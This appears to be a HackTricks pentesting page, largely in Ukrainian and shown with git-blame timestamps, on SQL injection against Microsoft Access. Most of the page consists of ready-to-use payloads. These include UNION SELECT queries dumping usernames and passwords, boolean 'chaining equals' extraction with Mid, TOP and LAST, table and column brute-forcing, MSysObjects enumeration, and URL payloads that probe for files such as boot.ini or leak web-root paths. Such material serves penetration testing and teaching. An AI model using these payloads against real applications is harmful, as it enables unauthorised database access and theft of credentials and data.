hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

195 lines
13 KiB
Markdown
Raw Normal View History

# MS Access SQL Injection
2022-08-31 13:22:13 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-31 13:22:13 +00:00
<details>
2022-08-31 13:22:13 +00:00
<summary>Support HackTricks</summary>
2022-08-31 13:22:13 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-08-31 13:22:13 +00:00
</details>
{% endhint %}
2022-08-31 13:22:13 +00:00
## Онлайн майданчик
2022-08-31 13:22:13 +00:00
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## Обмеження БД
2022-08-31 13:22:13 +00:00
### Конкатенація рядків
2022-08-31 13:22:13 +00:00
Конкатенація рядків можлива з використанням символів `& (%26)` та `+ (%2b)`.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
2024-03-29 18:49:46 +00:00
### Коментарі
2022-08-31 13:22:13 +00:00
У MS Access немає коментарів, але, очевидно, можливо видалити останній символ запиту за допомогою NULL символу:
2022-08-31 13:22:13 +00:00
```sql
1' union select 1,2 from table%00
```
Якщо це не працює, ви завжди можете виправити синтаксис запиту:
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Stacked Queries
2022-08-31 13:22:13 +00:00
2024-03-29 18:49:46 +00:00
Вони не підтримуються.
2022-08-31 13:22:13 +00:00
### LIMIT
Оператор **`LIMIT`** **не реалізований**. Однак, можливо обмежити результати запиту SELECT до **перших N рядків таблиці, використовуючи оператор `TOP`**. `TOP` приймає як аргумент ціле число, що представляє кількість рядків, які потрібно повернути.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Так само, як і TOP, ви можете використовувати **`LAST`**, який отримає **рядки з кінця**.
2022-08-31 13:22:13 +00:00
2024-03-29 18:49:46 +00:00
## UNION Запити/Підзапити
2022-08-31 13:22:13 +00:00
У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у **підзапитах або додаткових запитах був вказаний `FROM`**.\
Отже, якщо ви хочете виконати `UNION SELECT` або `UNION ALL SELECT`, або `SELECT` в дужках у умові, вам завжди **необхідно вказати `FROM` з дійсною назвою таблиці**.\
Тому вам потрібно знати **дійсну назву таблиці**.
2022-08-31 13:22:13 +00:00
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
2022-08-31 13:22:13 +00:00
{% hint style="warning" %}
Це дозволить вам ексфільтрувати значення поточної таблиці без необхідності знати назву таблиці.
2022-08-31 13:22:13 +00:00
{% endhint %}
**MS Access** дозволяє **незвичний синтаксис** такий як **`'1'=2='3'='asd'=false`**. Як зазвичай, SQL-ін'єкція буде всередині **`WHERE`** клаузи, і ми можемо це зловживати.
2022-08-31 13:22:13 +00:00
Уявіть, що у вас є SQLi в базі даних MS Access, і ви знаєте (або здогадалися), що одна **назва стовпця - username**, і це поле, яке ви хочете **ексфільтрувати**. Ви могли б перевірити різні відповіді веб-додатку, коли використовується техніка зчеплення рівних, і потенційно ексфільтрувати вміст за допомогою **булевої ін'єкції** з використанням функції **`Mid`** для отримання підрядків.
2022-08-31 13:22:13 +00:00
```sql
'=(Mid(username,1,3)='adm')='
```
Якщо ви знаєте **назву таблиці** та **стовпця**, які потрібно вивантажити, ви можете використовувати комбінацію між `Mid`, `LAST` та `TOP`, щоб **вивести всю інформацію** через булевий SQLi:
2022-08-31 13:22:13 +00:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
2022-08-31 13:22:13 +00:00
### Брутфорсинг імен таблиць
2022-08-31 13:22:13 +00:00
Using the chaining equals technique you can also **bruteforce table names** with something like:
2022-08-31 13:22:13 +00:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Ви також можете використовувати більш традиційний спосіб:
2022-08-31 13:22:13 +00:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Feel free to check this in the online playground._
2022-08-31 13:22:13 +00:00
* Sqlmap загальні назви таблиць: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Є ще один список на [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
2022-08-31 13:22:13 +00:00
### Брутфорсинг назв стовпців
2022-08-31 13:22:13 +00:00
Ви можете **брутфорсити поточні назви стовпців** за допомогою трюку з ланцюговим рівнянням:
2022-08-31 13:22:13 +00:00
```sql
'=column_name='
```
2024-03-29 18:49:46 +00:00
Або з **group by**:
2022-08-31 13:22:13 +00:00
```sql
-1' GROUP BY column_name%00
```
Або ви можете методом грубої сили отримати імена стовпців **іншої таблиці** за допомогою:
2022-08-31 13:22:13 +00:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Вивантаження даних
2022-08-31 13:22:13 +00:00
Ми вже обговорювали [**техніку з'єднання рівно**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи:
2022-08-31 13:22:13 +00:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
В короткому викладі, запит використовує оператор "if-then" для активації "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє розглянути лише 10-ту кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
2022-08-31 13:22:13 +00:00
### Time Based
2022-08-31 13:22:13 +00:00
2024-03-29 18:49:46 +00:00
Перевірте [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
2022-08-31 13:22:13 +00:00
2024-03-29 18:49:46 +00:00
### Інші цікаві функції
2022-08-31 13:22:13 +00:00
* `Mid('admin',1,1)` отримати підрядок з позиції 1 довжиною 1 (початкова позиція - 1)
2024-03-29 18:49:46 +00:00
* `LEN('1234')` отримати довжину рядка
* `ASC('A')` отримати ASCII значення символу
* `CHR(65)` отримати рядок з ASCII значення
* `IIF(1=1,'a','b')` якщо то
* `COUNT(*)` підрахувати кількість елементів
2022-08-31 13:22:13 +00:00
## Перерахування таблиць
2022-08-31 13:22:13 +00:00
2024-03-29 18:49:46 +00:00
З [**тут**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) ви можете побачити запит для отримання назв таблиць:
2022-08-31 13:22:13 +00:00
```sql
select MSysObjects.name
from MSysObjects
where
2024-03-29 18:49:46 +00:00
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
2022-08-31 13:22:13 +00:00
order by MSysObjects.name
```
Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли у вас **немає доступу для читання таблиці `MSysObjects`**.
2022-08-31 13:22:13 +00:00
2024-03-29 18:49:46 +00:00
## Доступ до файлової системи
2022-08-31 13:22:13 +00:00
### Повний шлях до кореневої директорії веб-сайту
2022-08-31 13:22:13 +00:00
Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії може бути виявлений, намагаючись вибрати дані з неіснуючої бази даних.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access відповідає **повідомленням про помилку, що містить повний шлях до веб-директорії**.
2022-08-31 13:22:13 +00:00
### Перерахування файлів
2022-08-31 13:22:13 +00:00
Наступний вектор атаки може бути використаний для **виведення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Інший спосіб перерахування файлів полягає у **вказуванні елемента database.table**. **Якщо** вказаний **файл існує**, MS Access відображає **повідомлення про помилку формату бази даних**.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
2024-03-29 18:49:46 +00:00
### Вгадування імені файлу .mdb
2022-08-31 13:22:13 +00:00
**Ім'я файлу бази даних (.mdb)** можна вивести за допомогою наступного запиту:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Де **name\[i] є іменем файлу .mdb** і **realTable є існуючою таблицею** в базі даних. Хоча MS Access завжди викликатиме повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
2022-08-31 13:22:13 +00:00
### Ломання пароля .mdb
2022-08-31 13:22:13 +00:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) - це безкоштовна утиліта, яка може бути використана для відновлення основного пароля бази даних Microsoft Access 95/97/2000/XP або Jet Database Engine 3.0/4.0.
2022-08-31 13:22:13 +00:00
2024-03-29 18:49:46 +00:00
## Посилання
2022-08-31 13:22:13 +00:00
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}